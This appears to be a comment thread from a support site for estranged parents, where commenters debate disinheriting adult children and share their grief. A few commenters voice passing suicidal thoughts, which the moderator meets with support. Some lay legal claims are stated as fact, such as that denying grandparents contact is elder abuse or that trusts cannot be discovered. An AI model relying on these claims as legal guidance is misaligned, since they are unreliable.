I am a slow learner. I suspect the peace he seeks from estrangement will surpass any feelings to reconnect. I am late 60’s, and am preparing a trust. He will be a full participant in his inheritance. We each contributed to a difficult journey. But, I have 30+ more years of learning experience. I own it. If he does return, which will always be my hope, but said with zero expectation, I will do the hard work to resume. That is my prayer. I’m leaving everything I have to be split 5 ways between my 5 grandchildren. That’s exactly what I’ve thought. It’s not their fault their parents chooses for you to not be in their life. I only have one adorable grandson……..HE gets it all!!! My eyes well up with tears reading all these heart-breaking stories. It does help to know there are others out there suffering abandonment by their adult children, just like me. Now that the holidays are approaching I’m feeling bluer than usual as I think about my estranged son and daughter more during the holidays. It still hurts me that neither of them care one iota whether I’m alive or dead and that I’m aging and in poor health. It hurst because I was there for my son always, 24/7 as a single mom and it was a LOT of work raising him alone as he was born severely disabled. It’s inexplicable that he doesn’t seem to recall all the things I did for him, all the times I held his hand when he was hurting, the time I traveled to his apartment when he was sick to cook him a turkey dinner. While the bird was in his oven, I cleaned up his filthy apartment strewn with empty beer bottles and cans, and ashtrays filled with cigarette butts, and a sink full of dirty dishes! He never mentions all the things I did for him, but instead falsely accused me of only being there for him when I felt like it! I was flabergasted to say the least at that blatant lie as I was always there for him whether I felt like it or not – 24/7. I just can’t understand or figure out how he could forget all that I did for him and all the times I held his hand during his surguries and hospitalizations when he was being stuck with a needle or IV. I used to carry him around when he was little because he wasn’t able to walk due to his birth defect. Does he ever mention any of these things that I did for him? No, never. What ever happened to my son I often ask myself and God. I’ve tried to figure it out; was it being separated from me at birth and taken to a hospital to have surgury on his open spine? Did he not attach to me properly? Or, was it something else? All I know is, I loved my son and raised him the best I knew how at the time and gave it my all, regardless of what he thinks or says. It has broken my heart that he could say such preposterous things about me and I just don’t know how it is possible. Often I’ve though I should write my experience down in a book; maybe what I’ve lived through could be helpful to others, help them not to make the same mistakes I made with my son. Regardless of any mistakes I made, I did my level best to raise him and I loved him. On more thing I want to share, as I think it may help others, is that I gave my son too much advice. It was a mistake even though I did it out of love, not wanting to see him ruin his life. He had a drinking problem along with other bad traits that lost him several jobs. In short, I’ve since realized it was a mistake giving him so much advice as I read books on Co-dependency and things like ‘enmeshment.’ See, we well-meaning, loving parents can CARE TOO MUCH about our children and about other people too. If I had it to do all over, I would change that part of my relating to him by LETTING GO of trying to control him and let him live his life his way — even though I didn’t agree with it and even though it seemed ridiculous to me. Word to the wise — DON’T TRY TO CONTROL YOUR CHILDREN, LET GO OF THEM AND LET THEM LIVE THEIR LIVES THEIR WAY because if you insist on trying to control them and their choices, you’ll push them away from you. Not saying that’s the only reason my son walked away from me, but it probably contributed to his decision to do so. It wasn’t easy for me to see this or to admit that I may have had a part in driving him away. It is tragic and I just wish I could have seen what I was doing sooner. It appears to be too late to save my relationship with my son with this wisdom, but at least I can pass it on to others and hope that they can save their relationships by letting others live their lives free from their interference and control. A real good book to read about this is, “Let Go Now” by Karen Casey, and “Co-dependence & the Power of Detachment” by Karen Casey. She’s a counselor and expert on these topics. Her writing is easy to read and incredibly insightful. I highly recommend her books. I’ve learned much from them. Bought mine at Amazon. As for my Will — I once asked my son (when we were still talking) if he wanted any of my possessions when I die, and he said he didn’t and that I could just sell them. His statment let me off the hook so to speak, so I don’t have to wonder what I should or shouldn’t re leaving him something in my Will. Lawyers haven’t been much help at all I’ve found, unless there’s a huge sum of money in it for them! Small estates don’t interest them. Well, I hope I haven’t rambled on too much but it felt so good to let some of this out here where it’s safe to do so (hopefully). Love, peace, and grace to all of you here. Hope there’ll be some sunshine on all of our holidays despite our estrangements and feelings of abandonment and yes, loneliness. May the good God above fill our hearts with His peace. Debra This generation gets narcissistic. Full stop Dear Karen; In response to your reply to my post. While I realize that you are trying to be comforting, I have to say that I disagree with the adage that my “job” as a Mother is “finished.” Too many wise people have stated that our “job” as a Mom is only finished when we die. I concur. I also have never over-indulged my kiddos. However, in this case, there is a baby being born into a horrible situation. That baby is my first Grandchild. That baby should not suffer for the “sins” of its parents. And in that vein, I am its Grandmother and I can help in that manner. Also, I have prayed daily and sometimes several times a day that God will open his heart. He once was a very spiritual young man. Raised that way by me. She has sucked that out of him as well. Her family can quote scripture and speak in tongues and speak condescendingly to anyone who is not on board with their form of religion. And yet, go along with her while telling my husband and I for five hours what a horrible child she was. They have now ensured as well that our son is alienated from all those who love him. At any rate, my faith gives me hope. After reading all of the comments, I realized that no one has the same situation as I do. I am 80 years old and estranged from all three of my children. I was getting money from 2 trusts that I used for 40 years to live on. My daughter, along with 1 brother decided they were going to get a conservatorship over me so they could get the money I am to supposed to be receiving. One brother said no way. What they do not know now is that everything was given to the trustee and nothing to me. I have tried for years to get a lawyer to help me and none will. To all of you who have money, please be careful, you have no idea what these so called entitled children will try and do to you. Please be careful! Oh my goodness, I am so very sorry for you. Thank you for the warning, what a wise and caring soul you are. I feel that some inheritance is the right thing for me to give them, regardless of their behavior. But my life insurance agent didn’t understand why I wasn’t giving higher percentages to them. It’s too painful to explain it. My husband and I have decided that what remains after we are gone will be divided equally between our estranged son and our attentive daughter. We do not want our final action on earth to be one of revenge and punishment, threatening the relationship between the two of them. Perpetuating toxicity. We will leave the last door open as the Lord did for us. Lovely michelle Michelle I agree with you. I too have an estranged child and though she wants no part of me, I believe she can have half of my estate and do with it what she wants. If that is to use it for herself and her family, GREAT! If its to donate, that is great too. Its her choice as is her perception of who I am and whether or not she chooses to see me. She is still my flesh and blood and I love the person that she was that I know. This is how I feel. Although I have considered leaving my ED $1 and splitting her share between her children. I am still allowed to be a part of my only granddaughter’s life. Her brother is autistic and other than the first few weeks of his life, I have been kept at arm’s length. I’m not certain why. Heck, I don’t know why my oldest estranged herself other than she has unmedicated, unresolved mental health issues and it feels like that has more to do than me. That and my mother spent money hand over fist on her and my youngest daughter while isolating my son…and me. So please consider that arrangement. That way the money goes into a trust for your grandbaby (-ies). I am not an attorney. I do not play one on TV. I just know this crap sucks. Very wise decision, although not an easy one. I have an estranged daughter (soon 30yo) and the other one (28yo) is becoming more ‘mixed up’ and non communicative by the day. I am very afraid of what is to come next. With my husband who has Alzheimer (moderate stage), the situation is becoming more and more painful. This article came at a good time. As so many of you other heartbroken parents out there ( I never realized so many!) I faced the “changing the will” decision. My 40-year old daughter chose to leave our family fold two-years ago …. no reasons given. I have waited and waited, hoping and hoping for reconciliation. Time does not slow. So my husband and I decided to have her taken out of our will, and everything will be left to my son and his three children. We did not want him to have to wait years, for lawyers to try to track down his estranged sister. She chose to leave the family. She should not be rewarded after we are gone. It’s tragic. Breaks my heart. This site has been a life-saver for me. I realize I’m not alone. I sometimes wonder if all the estranged children even have in inkling what sadness and heartbreak they have, and are, causing their parent / parents ? I to wonder if my adult sons ever think of how our hearts are broken and our health is declining. They were spoiled and loved. This site has been a LIFE SAVER. Most of my friends have no idea what this is like. The pain after many years gets harder to live with. Thank you all for sharing. It is a heart against head decision to have to make when doing our wills,l absolutely admire Michelle for leaving her estranged daughter equal share with her attentive brother,she is beyond gracious.l like you made the decision to be not as gracious,after 16years of silence from from daughter,no communication from my 3 g/daughters l decided to leave all l have to my nephews who have been a loving constant in my life.That decision was not made from hate or wanting to hurt my daughter,it was made as a acknowledgement of the love my nephews have given me.My daughter made the decision to be abusive and to walk away me as l was obviously not important to her or her family ,she chose to walk her own path,l accept that,as she must accept that l too have to walk my own path.Forgiveness does come after so long it is liberating for us that have reached that point,for those who are still shattered and broken l feel for.Take care of yourselves be gentle with your soul be kind to your heart,you did our best with what we had but sometimes we just have shut the door to the past to protect ourselves. I am so sorry you are going through this–it is so hard. My daughter and one of my sons have been estranged for 15 years. I still love them both dearly and have no idea what happened; however, I did end my abusive marriage to their father after 34 years. They still connect with their dad occasionally–which I suspect may be connected to the financial aspects of an inheritance. I went to counseling the first few years, but then it became too painful to go because at each session there were just so many questions that couldn’t be answered. After a couple of years I realized that it would never be any different. It’s like a death in the family, and the only thing that helps is time and the support of other people who love you. Some of my friends accept horrible treatment from their adult children, and when I witness it, I am grateful that my children aren’t actively mean to me–they just aren’t in my life. I hope you find peace and healing. After reading through many of the comments, I have to ask the question (rhetorical), How did we get to this place? I won’t go into my own story, but it runs similar to many others. Long story short, I struggle with guilt, anger, pain, sadness, thoughts of ‘Would I be better off dead’ . I struggle as a Christian, and feel silly saying, ‘What would Jesus do?’. Bottom line, all I can really do is pray for my estranged daughters, daily. I can identify with Mary Lou for sure. I am totally alone and do think I would be better off dead. Mary Lou and Ami, Truth be told, many who have done so much, loved selflessly, and even made mistakes have felt this way from time to time. I hope you can find a way to feel better, seek joy, find something good to focus on, serve others, or call help lines, ask for assistance, smile at neighbors and try to feel better about your plight. Mary Lou, you mentioned prayer for your children and there is a purpose in that. Can you pray for the many parents and their children too? And dear Ami and Mary Lou both, by sharing your thoughts, you have helped another person or two … or ten…. I’m very sorry for your pain. Hugs to you, Sheri McGregor Prayer is powerful! I am praying too… May Jesus soften the hearts of our children and let them see the truth! When my recently married 34 year old son became estranged just a few days after my cancer diagnosis 11/11/11, just 2 days after my 56th birthday, I knew he was upset and thought within a few weeks, it would be okay (he lived in Manhattan at the time). In February 2013 while at a yearly checkup w my cardiologist, I asked her if people really do die from ‘a broken heart’. Her answer to me was simple, ‘I lose about 2 patients a year who die from a broken heart – I hope you’ll learn how to handle this pain as you’re definitely a candidate.” In just a few weeks it will mark the 10 year anniversary of my diagnosis and my son’s departure. With the enormous help of Sheri’s “Done with the Crying”, I started my own personal journey of “survival. By summer of 2018, I was completely ‘done with the crying’. Each day since has only made me stronger – it’s like ‘he died’, even though I know he didn’t . There were times I didn’t think I would survive, but I became determined I would. In retrospect, the huge issue that my son’s wife didn’t like ‘our relationship’ – and she, in fact, had succeeded in causing ‘trouble’ the year before they married. I even said to him I was afraid I’d lose him once they married. His response was ‘that will never happen’… and isn’t it odd that the following year just 2 days after my diagnosis, it ‘happened’. I will offer these words to you – please keep your faith strong as it will help carry you through. I am a living example… I’ve survived. Another difficult part of this story is this: I have grandchild that turned 8 in June – I had no idea he existed until 6 yrs ago. That little boy was told several yrs ago that I was killed in the car accident along with my sons father (my husband) who died in 1981 by a drunk driver and that’s why he doesn’t have ‘grandparents’. Mary Lou, I will keep you in my prayers – please remember you’re life counts! Find ways to reinforce that! I am an Advocate for 3 different groups: AFSP (2018), MNADV (2017), and women diagnosed with breast cancer (2013). My only goal is to help ‘save’ or ‘change’ one life at a time… there is nothing greater than to ‘give back’ to those you may help. Many blessings to you… I feel the same…in reading your posts it brings some comfort that I am not alone. It helps to think that although I am still asking WHY this is happening, I can still send love through prayer and meditation. I also think we should pray for ourselves and pray our hearts will heal. We are quick to want our children to be protected, but also I’m realizing we may need prayer for ourselves and compassion for ourselves I have seen too many wills contested in court. Even when it’s not contested, it can take years to settle. We’re going on almost 3 years now for my mother in laws estate, because of disagreements between the siblings. So my husband and I opted for a trust, which removes all probate from an inheritance. And my estranged children will receive nothing. We are farmers, and I don’t know how this is in other states, but in Kansas, you can transfer land with a transfer on death deed, that also avoids probate, and gives the land directly to the one you want to inherit when you die. That’s important when you own a lot of farm ground, and the recipient can still keep farming it. So my “entitled” estranged daughters can whine all they want I guess. It won’t cause any additional problems between siblings, because there’s already no contact between the estranged and not estranged. My eldest son and I have been estranged now for two years. It has been torture but I am trying to work through it. I appreciate this article and comments regarding inheritance very much as that has been on my mind. While my estranged son is still in the will, my husband and I have considered changing it to remove him. I feel that since he has viciously discarded me and wants nothing to do with me in life then he should want nothing from me in death. I will always hope for reconciliation, but am doubtful it will happen. Sadly I will be gone and unable to see his reaction when he finds out that he gets nothing. Will he be sad that I’m gone? Would he actually have been expecting his part of the inheritance? Maybe he would realize that the result was of his doing and he got exactly what he wanted from me in his adult life…..nothing. You are all in my thoughts and prayers as we navigate through unwanted estrangement. It has been great comfort to know that I’m not alone. Rather than leave anything to my two children and grandchildren, I am in current time helping support a very good friend who has been living out a hell with her close family. She’s having trouble finding a job. She doesn’t have a car so can look only for places on a bus route, which may lead to the other side of the city. She’s helping raise her granddaughter because her son is a drug addict and his girlfriend is seriously mentally ill. The only place she can afford to live is a sketchy neighborhood with frequent violence. Both of my children have good jobs and don’t want for anything. They won’t need an inheritance from me. Better I use that money now to help a beloved friend through a rough time. (Recently her son was shot six times in the butt and legs when a drug deal went bad. He lives with her drug-addicted mother, his grandmother.) I feel grateful every time she shares her burdens with me. It’s what I’d planned to do for my own children. I can’t think of anyone better to share my little wealth with than someone who really needs it. Meanwhile, I’m so over having children. I don’t miss them anymore. As far as I know, they’ve moved to Mars. After reading through these comments, I am truly heartbroken to read of all the other parents and grandparents who are enduring this horrific treatment, many by multiple adult children, as are my husband and I. We have been totally rejected by two (taking with them all of our grandchildren), held at arms-length by two, and have a good relationship with one daughter. We have revised our wills twice in the last four years, as the estranged ones pick off more siblings to join them in their absolute hatred of us. Nothing will go to our kids who have cut us out of their lives and taken our grandchildren from us, although we are leaving some to their children–our innocent grandchildren. Our wills explicitly state that so-and-so and so-and-so are intentionally left out of the will, and that if anyone disputes the will, they automatically get nothing. I am sure, as many have said, that the wording depends on the state in which one resides. For the two who are stiff-arming us, one will get only half of their inheritance. Despite maintaining a superficial relationship with us, they have knowingly and purposefully made the decision to hurt us after seeing their older siblings do so. The other one was young and naïve and led astray by the older ones, so that one still gets a full inheritance. For now. The lion’s share will, of course, go to the one daughter who honors us and wants to be a part of our lives. The rest goes to charity. Of course, this is all very complicated, but it seemed fairest to us. We did compose letters detailing exactly why each child received what they did, and have placed them with our will for our executor to distribute. We also are leaving letters to each grandchild who will inherit, telling them it was not our decision that we were not in their lives and how very much we missed them and loved them. It may be helpful to someone if I share my own experience. My brother treated our parents very poorly. He didn’t visit my father (a warm and loving man) once in the decade following my mother’s death. My dad very wisely took my brother mostly out of his will. He only received a token amount, and the rest went to me and my children (which my father would have never done if he knew how my kids would someday treat me). Since I did all the work and cared for my father the last few years of his life, I would have probably been a little bitter if my uncaring and unloving brother had gotten the same amount as me. My dad never advised my brother that he wouldn’t be getting very much, and my brother never questioned or challenged the will. I think he knew he got even more than he deserved. I realized after about three years of mourning my daughter’s estrangement that she would have nothing to do with me or any of my family, but she would always cash checks I sent her. I finally said “enough”! Tired of being used, I decided I would do something to help someone instead. So fir several years now I’ve chosen gifts to send to the poor. I usually buy a goat or something like that through World Vision. Then I send her a card letting her know what gift I chose for each occasion. I feel so much better. As for her inheritance, there will be none. I have my will set up to leave everything down to the lint in my dryer to my local animal shelter! She never liked any of my things anyway and the shelter will get much more use from it. I love your cartoon Sherrie…i feel like that sometimes!! ha ha Its nearly 1 year for us….however we do have contact with grandchildren which we are grateful for. perhaps even if you dont see your grandchildren (its not their fault) consider leaving any $ in a trust fund for them? it could help for their future education etc. We havent as yet come to this stage but we have moved to a place of acceptance and forgiveness believing that one day our son will contact us again. I read a saying the other day by Oscar Wilde “children begin by loving their parents, and as they grow older they judge them; sometimes they forgive them” lets hope our estranged ones are being the BEST parents they can be and that their children always love them all the best to all you lovely parents..take courage we’ve all been thru a pandemic but I do believe we have a pandemic of children being estranged from loving parents too God bless everyone Me too, Thanks to all who have shared their bits of their stories. I find it comforting to know I am not alone on this issue of severe sadness. Me too More income and no or smaller estate – an option instead of leaving to charity or SKI. It is difficult to spend most of our savings as we don’t know how long we will live and what expenses we will have later in life. One option is to purchase an Annuity – which is basically like buying a pension for your life (or the life of a couple). You get income for life and when you die there is no payout. This helps to not run out of money and doesn’t leave toxic money or hurt feelings. It’s not great to have your last communication (your will) being hurtful even if you have been hurt very badly. Also if you wish to disinherit, you can name a beneficiary(s) on certain types of accounts so that your assets bypass your will and again this avoids have to leave a sad/angry legacy in your will. I have definitely benefited from this newsletter and the book however still struggle greatly with the 3 year estrangement with my adult daughter, mother of my only grandchild. About the other comments in this thread; each situation is different, some people may need to reflect more on their role and others need to stop blaming themselves. But in both circumstances we need acceptance and support to deal with the grief, anger and all the other frustrating and confusing emotions of being rejected. All the best to all of you. I have been estranged from my youngest daughter for over 8 years. When I went to a priest and told him that I would like to disinherit her, he said no. I think it’s bc it would be a hurtful act, bc I have been so deeply hurt doesn’t mean I should hurt her in return, especially since she is dirt poor. I helped her daughter in college, it didn’t soften her heart. My daughter never wrote a thank you note, my granddaughter really appreciated my help though and told me. Her father died suddenly and I helped her with a wedding. She loved him more than me because I was the disciplinarian. Oh well life is NOT fair My husband and I have 3 daughters. All adults. We are estranged from the youngest. Actually, ALL of our family is estranged from our youngest..her 2 older sisters, grandparents, aunts, nieces, nephews, sons in law…everyone. We decided to leave our youngest daughter a “ lump sum” inheritance. Basically cutting her off from the rest of our assets. We felt it was our way of acknowledging she was still and always will be our daughter, whom we love but alleviating our other two daughters of all the drama she would cause once we have passed. Hope this helps. It’s been tough but some things just are. Good advice. I too, am cutting the ED and SIL out, she will receive only 26 photo albums packed with her child hood photographs and about 50 VHS tapes of her child hood. You should also consider what a terrible insult it is to the child(ren) who were there for you all along to leave something to the child who behaved so callously. I know that situation all too well as my mother left half of her estate to my estranged sister, who hadn’t spoken to her for 25 years and only returned when my mother’s cancer recurred for the third time. Within two weeks of my mother’s death, my sister happily announced on her Facebook account that she had just returned from Florida “with a great tan and a new, second home”. My sister was thrilled with her windfall. My estranged daughter, a clone of my sister, has been disinherited. Her former share will go to charity. My husband’s favorite saying was, “Why should I reward bad behavior”. He excluded all of his children from his will. I never thought of it this way. My daughter is estranged from me, my sister and my parents. She has my only grandchild, my parents only great grandchild, we haven’t seen in since he was an infant, 2 years ago. I also have a son that I am close too. I have been considering changing my trust to leave everything to him. Until this post, it didn’t occur to me that he is the one who is still in my life so he deserves to inherit my estate. Thank you for the insight. I find this group so very supportive, as if you all know what I am thinking. I exclude the person who feels we haven’t looked in the mirror! I am about to rewrite my will, I am in Canada and this may be beneficial to Americans too, I am not sure how your society works. Here in Canada children taken into care, foster children, all age out at 18 years of age,. They are expected to suddenly live on their own with zero support. I am taking my estate and leaving it to a university that offers free tuition to aged out foster children. My gift will provide housing and food for these kids. There are so many children out there that would have loved to grow up in the home that my kids have despised. This gives me great joy to help other kids less fortunate. That is an excellent idea! Definately one that I will jot down as a possibility. So wonderful, to contribute to the less fortunate, who will appreciate your gift. That’s a wonderful gift to give these ‘aged-out’ kids. A warm kudos to you for doing it.! I find it so ironic thst there are many kids in the world who need support and love/value, and our own don’t threw it away. I am currently struggling because of an inheritance. My husband and I are about to retire and we will only have our SS pensions. My Mom died last year and left me some money. She had changed her will because she had always included her only 2 Grand kids (my kids). The last Will did NOT include them. But generously, I decided to take from the amount I was given and give to them what she had, at one time wanted them to have. My son has not spoken to me (or anyone including close friends, and his sibling since he married into a very hate filled family and a hate fueled girl. 6 years. Same old story. We were very close prior to her. Anyway as I warned him when he got involved, he would be bankrupt if he gave her things he could not afford. And now, I know, thru public records that indeed they are. She has not worked since they filed Chapter 13, have moved to yet another state because she likes “adventure” (the 3rd since he married her in 2016) I now found out from a new filing that she is pregnant. I sent him an email after my Mom died and told him that I wanted to give him the money. Asked how could I do that, without letting him know that I know about the bankruptcy. He sent me (again) a 3 page email stating how horrible I was and all kinds of false accusations AGAIN. He ended by saying he needed the money to “take care of Libby”. I finally had enough and told him that he would get nothing until he apologized profusely and meant it. That I was sick of being his scapegoat, when in fact I had done EVERYTHING to help him have a better life, at EVERY TURN. That was before I knew she was pregnant. And before she was. So, on his birthday and hers, I sent cards and enclosed money to buy baby needs (crib, stroller etc) I know they don’t have to tell their trustee if they get cards. I feel guilty (as I always have) for not giving him the money that he could certainly use now. I know his life is crap. I waver back and forth. I need the money myself but I (as most parents do) have always put my kids needs over mine. But there is this baby coming. My first Grand child! And although I likely will never hold that child or love on it, it is of my blood and somehow has already taken up space in my heart, My emotions go from being so angry at him for getting into this mess and for attacking me to feeling heartbreak at knowing what a shitty life he now has without ANYONE close to him, that cares. Her parents are holier than thou types who told us what a shitty daughter she was the first time we met and how they wanted her to do things their way in this relationship with our son. Now, they are in like dirty shirts and refuse to take our calls. In fact, they would not even pass along to my son that my Mom died. Sorry this is long but when I saw “SKI” I felt the need to share. Dear Stephanie, The mind is very powerful and you must begin to realize that your job as “mother” is finished. Buying things will probably not soften their hearts, even though you love them. Try to pray for them. Money does NOT buy love. Keep busy and tell yourself you were a terrific mother. Do not dwell. Let them come to you and do not over indulge. Hi Stephanie, I’m so sorry about your mom. I’m also sorry about your son. Your story sounds almost identical to mine. Raised my son on my own and put him above everything and after he married it all started. He knows he’s living a lie but there is a precious little boy in the picture now so I think that makes it very hard for him to get out of this narcissistic relationship. He left last year for about 3 weeks but went back. He even told me while he was moved out that he went along with a lot of things that he should have never went along with. It is the hardest thing I have ever gone through. Same story though- I reach out and all the lies of how I was so terrible was,am is his response. The first time I couldn’t believe what I was reading and then thereafter started to see what was happening. I pray about it all the time and hope someday it will look different. I wish you the best. I have thought long and hard about this issue. I have a mentally ill daughter and we are raising her two children. I have and estranged son who blames me for all of his life’s woe’s and an estranged daughter who is mad that we are raising her sister’s children. I also have a stepdaughter who we have a good relationship with. We are splitting our inheritance equally between all four children because I didn’t raise my children to be be blaming, mean, addicted or take the road they are taking. I love my children no matter the sum of the worst thing they have done to me. So what I am leaving is just worldly things that I am not taking with me with the message that they were unconditionally love by me. That doesn’t mean I am not going to spend my money and have a good time while I am living. I totally agree with this approach. This is what my husband and I have decided to do, as well. For me, it is not about what is best for my daughter or what she will think – I have long given up trying to figure out what she thinks about anything. But this is what makes me comfortable. I have three step daughters who are very close to their father who I am not close to at all. My daughter has allied herself with them and they are part of the estrangement problem ( I am the wicked witch, shall we say). My husband and I are keeping it simple – four equal shares and that keeps the peace between my husband and I – that is what is important to me at this stage of the game. If my husband passes before me, I know I will have many challenges ahead with these hateful girls, I do what I can to protect myself and keep a peaceful state of mind. Good for you. Just because you have been terribly hurt doesn’t mean that you should hurt them. I have been following this site for a few years as I travelled through the ups and downs of on and off again estrangement. I have worked weekly with a counselor and , in meditation, to own my part , and…it has been very complex. 8 years later, I realize I am no longer willing to be the one who does all the work and, I am not sure I want them back….in fact, I don’t want them back as they are. I don’t like them and, we have nothing in common. They are abusers ( my son and his nasty, self righteous wife who is the instigator of this mess). I tried everything for years, to please them….nothing worked, because they are both in need of a dose of reality. The pandemic was the endpoint for me as I watched her conspiracy theories, raging, then, yet again got cut out of her life for being ‘condescending’, when I wrote a cheerful upbeat note, on mother’s day. And, my son….who is now a verbal abuser too. Setting boundaries doesn’t work, being kind doesn’t work. I finally realize they must meet me in the middle and, change their attitude or, and, I will not initiate contact. They have neither time or interest in me, but expect me to send cards and gifts to the children I am not allowed to see or visit. And, I am done. What worries me, is wondering….am I wrong to say ‘to hell with them’?. I have been asking myself this for a long time. And, putting myself in the midst of their verbal and emotional abuse, is all wrong for me. I will not let them back into my life until they start treating me as a mother should be treated….a loving, generous mother who went too far to try to please them. This is surfacing for me as his birthday comes around. He is a stranger to me now. Why would I acknowledge him? Last year, she tore up the cheque I sent to him. Classic. Oh my gosh, you hit the nail on the head. Is my son even a person I would seek out for a friend? Absolutely not! He is mean, narcissistic, has no empathy for anyone. He is arrogant and has a superiority complex. He labeled me and all of our family as stupid idiots simply because we live in Texas. My 96 year old mother reaches out to him every month by voice mail or text. Never a response from him. How can anyone do that to a 96 year old grandmother who has been nothing but supportive his whole life. Would I want someone like that in my life? Absolutely not!!!! Our values are so far apart. I have no trust that someone like that could ever change. There is no way we could be family again. I have dealt with this very thing for 13 years. We were all a very close family until his wife came into the picture. Acted fine until wedding, then she started the lies, twisting everything, we had never seen such a jeckel and Hyde. When my husband/his father passed of cancer at 65, he finally arranged 3 visits to see our grandkids for the first time, 4 and 9 months she had a made up problem with each visit. Her and her mom felt they were better than most people . She would not let him talk to us at funeral and that is on him for putting up with being controlled even with her threats of divorce. I have finally given up trying to have a relationship my foot is open if he decides but I don’t know him anymore and don’t like who he has become . Wouldn’t give me socials to put kids in as beneficiaries am only leaving him a small percentage for the years he was our son snd because it is what my husband requested. Am exhausted from trying for 13 years and am done. Peace to you Dear Deb, Your situation seems to match very closely to mine. My heart goes out to you. My estrangement has been going on for 4 years and I am not able to see my grandchildren or even a picture. They moved to my town and I could run into them anywhere I go. Strange it hasn’t happened. I too was ripped apart for sending kind words, gifts and cards. . I have been a respected teacher of young children for 30 years and yet she sent me 11 pages degrading my character . The hardest part is that my son has gone along with her and turned against me and my entire family including my 97 year old mom. I also don’t want them back the way they were. So self righteous. I am not ready to give up. I send texts monthly and letters on holidays with no response. My husband and I did everything we could to be loving supportive parents and grand parents. Coaches, scout leaders , never missed anything he was involved with. Three sports a year for years and never missed a game. Took them on 2 vacations a year. My husband renovated their entire house. We loved them with all our hearts and I still do. My husband is extremely angry and won’t even talk about it anymore. The pain never ends. My husband wants to take him out of our will and I just can’t yet. Thank you for sharing your story. There is comfort in hearing your story and know that we are not alone. Theresa You are not at all wrong to say “to hell with them!” It’s a matter of self-preservation and being kind to yourself. A friend of mine who is active in Al-Anon told me one of their sayings is “Not my circus, not my monkeys.” Repeating this saying has been enormously helpful to me when I start to feel sad about my son’s estrangement choice. And he is getting ZIP in my will–there are too many deserving charity organizations for me to throw my money away on him. Wow! You sound exactly like me.. that is where I am at…. after doing back flips and never being enough… I stopped trying… they never reach out and so .. ok.. I am done.. I deserve an apology for all their garbage… I no longer choose abuse over alone.. Alone is fine and even far better as it is stress free and peaceful. Done with the abuse, done with the being their scape goat and done with the crying too. God bless you and stay strong and know God is close to his broken hearted ones. For those of you who are grandparents, did you know that adult children who deny grandparents visitation rights, communication etc. that this is considered “Elder Abuse!” There are groups for Alienated grandparents! After a lot of tears, and thought, my husband and I decided not to leave anything to our estranged adult children. However our lawyer told us that if we did that, they could come back and contest the will. Therefore we left a minimal amount of cash to each one of them. Sad as this situation is, I have a step daughter and step son who have been wonderful and I am giving them everything . You are correct…see my response above..we did not disinherit our youngest daughter, we left her a “ lump sum” so that this issue would not arise and cause drama for our oldest 2 daughters. Leave something so that once you are gone, your estate and attorney will know you acknowledged them. Dear FarmGirl. Very sorry for your pain, one of my three has been estranged on and off for five years. So hurtful. Anyway, just fyi, consider talking to a lawyer about the differences between Wills and Trusts. Wills are discoverable, can be contested and have to go through probate. Trusts are different, are not discoverable (unless you share it) and avoid probate. Check it out, it may give you more peace of mind. Best wishes for a peaceful rest of your life. A fellow farm girl. Last year at this time, I was hunkering down for the winter, having moved to a rural area, just to lick my wounds. This last year has given me time to think. I’ve now just sold my house at a profit, and I’m coming back to life. My friends are waiting for me to arrive back at the place I call home and I’m ready to go back to work after the pandemic, there’s a world out there away from my rural isolation. My will gives the proceeds from my home and contents, plus any money left over from my pension pot are being equally divided between the WWF for nature, FourPaws, SPANA, HSI international and RSPCA. Nothing to my selfish daughter, who plotted for years how to get her money’s worth out of me ( her words), and who moved on to another mark when I’d done everything I could for her, including a top class education. Now she prefers her boyfriend and his family, who knew her plans to ditch me before I did. He screens her emails, texts and phone calls are rerouted to his phone and she has given up her independence to live in his family home and pay them rent. So I m going to do the world tour I thought I’d be doing with her. There’s a bucket list to be worked. Thanks for the uplifting article Sheri, and to everyone who has posted their moving and enlightening stories. Hi Elizabeth! Your post gives me peace that moving on is the right decision. My eldest daughter plotted with her husband to ditch us right after we gave them a $30,000 wedding and honeymoon to Hawaii. She was hiding the fact that her husband and his family are alcoholics and drink heavily everyday. We asked them not to drink when they came to our house, but that was asking too much. Her husband couldn’t pry his lips from a beer bottle for more than 2 hours. Our youngest daughter came home from college and dropped the bomb that she was gay. We pleaded with her and tried to reason with her to no avail. We allowed her to live with us to become financially stable and gave her $25,000 to pay off student loans. We told her we loved her very much but couldn’t support her lifestyle, but that wasn’t good enough. She wanted us to “celebrate” who she was, but never considered our feelings and who we are. She married another woman last Halloween (yes, on Halloween) and now they are divorced. I tried to reach out to her by letter and she totally tore me apart on Facebook when I said nothing wrong. I am done with the crying and trying, what do they expect? As far as we are concerned, they got their inheritance. My husband and I are moving to another state to retire and starting a new life. Good luck to you! A great article and helpful responses. We are estranged from our 39 year old son who went off the rails 4 years ago spiritually and politically. After receiving a scathing letter cursing us out for all of our failures, he cut the cord-no responses from our emails. The grandkids have been yanked out from under us as well. Last year, we made out our will and decided after prayer to leave him out. Our daughter, who still lives in our area (he does not) is the sole recipient of our estate-our relationship is not as good as it was, but at least we see her several times a year. We have been pretty much wiped out financially due to burn out issues of my husband over the last 20 years which depleted all of our savings. We do have a house that will be paid for next year and she is willing to dispose of all that she doesn’t want. Of course, we have left the door open to reconciliation with our son and changing our will if that happens. At this point, it doesn’t look too promising. It took my husband and me a while to come to the same conclusion as many of you have. We are on our third period of estrangement from our oldest son. Typically these last about 3 yrs then we will go through a year or two of a walking on eggshells type relationship until one thing or another causes yet another round of scathing verbally abusive texts or emails from him and we are back to being “ cut off” This current estrangement feels more likely to be permanent although he has reached out to me to “ have coffee” next time I am in the town they live in… minus my husband/his dad. Not sure how I feel about that. But to answer your question… after much much prayer and wrestling back and forth we, too, after discussing it with our lawyer also excluded him from our wills. Per our lawyer if you go so far as to in writing and very explicitly state that this person is excluded then there should be issues. He even videotaped us stating this as well to accompany our written wills. Wills can always be changed later if things change. Yay! This just confirms what I’ve already concluded I am going to SKI my life through older age. I have no desire to leave my child anything. Am I thinking she made the choice to cut herself off from family, so why should she benefit from family. Not one word the whole epidemic I tried to call at the beginning and her husband was rude to me. We gave her $10,000 that she completely blew and lied to about. It’s been a long road, and taken a lot of tears & tapping, but the pain is slowly subsiding, and I’m slowly accepting the reality that my daughter is gone, and I likely will not see her again, nor my (now 2 and 1/2 year old grandson). I’m making my own family, I am Grandma to other kids, and doing the best I can with what life has given me. In a strange, deep way I’m grateful for this experience because it has given me the deepest compassion for my own self that I spread onto others. I know I’m not a monster, I know I am a dear sweet Soul who is kind, loving and good at heart, and getting to know myself deeper, letting go of Shame, pain and trauma Etc has been a great gift, and for that I thank my daughter and I love her for. 